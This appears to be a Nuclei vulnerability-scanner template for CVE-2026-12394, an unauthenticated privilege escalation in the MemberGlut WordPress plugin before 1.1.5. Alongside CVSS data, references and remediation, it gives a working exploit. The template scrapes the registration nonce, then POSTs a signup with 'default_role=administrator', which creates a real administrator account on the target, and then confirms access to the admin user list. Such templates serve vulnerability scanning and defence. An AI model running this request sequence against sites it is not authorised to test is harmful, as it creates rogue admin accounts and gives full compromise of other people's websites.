id: CVE-2026-12394 info: name: WordPress MemberGlut < 1.1.5 - Unauthenticated Privilege Escalation author: str4k3r severity: critical description: | MemberGlut WordPress plugin < 1.1.5 contains a broken access control vulnerability caused by lack of validation of roles during front-end registration, letting unauthenticated users register with arbitrary roles including administrator, exploit requires no authentication. impact: | Unauthenticated users can register as administrators, leading to full site compromise. remediation: | Update to version 1.1.5 or later. reference: - https://wpscan.com/vulnerability/6b126a3e-30d5-4bed-ba47-33e589ec2852/ - https://plugins.trac.wordpress.org/browser/memberglut/tags/1.1.0/includes/class-memberglut-forms.php - https://plugins.trac.wordpress.org/browser/memberglut/tags/1.1.5/includes/class-memberglut-forms.php - https://nvd.nist.gov/vuln/detail/CVE-2026-12394 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-12394 epss-score: 0.01492 epss-percentile: 0.72666 cwe-id: CWE-269 metadata: max-request: 3 verified: true vendor: memberglut product: memberglut fofa-query: body="wp-content/plugins/memberglut" tags: cve,cve2026,wordpress,wp-plugin,memberglut,privesc,unauth,wp variables: rand_user: "{{to_lower(rand_text_alpha(8))}}" flow: http(1) && http(2) http: - raw: - | GET /register/ HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - contains_all(body, "register_nonce", "memberglut_register") - status_code == 200 condition: and internal: true extractors: - type: regex name: register_nonce part: body group: 1 regex: - 'name="register_nonce"\s*value="([a-f0-9]+)"' internal: true - raw: - | POST /register/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=memberglut_register®ister_nonce={{register_nonce}}&username={{rand_user}}&email={{rand_user}}@example.test&password=Cve12394Test1!&first_name=a&last_name=a&default_role=administrator - | GET /wp-admin/users.php HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - status_code_1 == 302 - contains(header_1, "registration_success") - status_code_2 == 200 - contains_all(body_2, "wpbody-content", "Administrator") condition: and # digest: 4a0a00473045022100f1c4b1e8552763d1533c2475cff2e9f59dac4706ff6f0ed71674531e8b812c410220784e982e076e3ec5219cb1ea5a1646e83dec968fa963236aa025d60bca70dadd:922c64590222798bb761d5b6d8e72950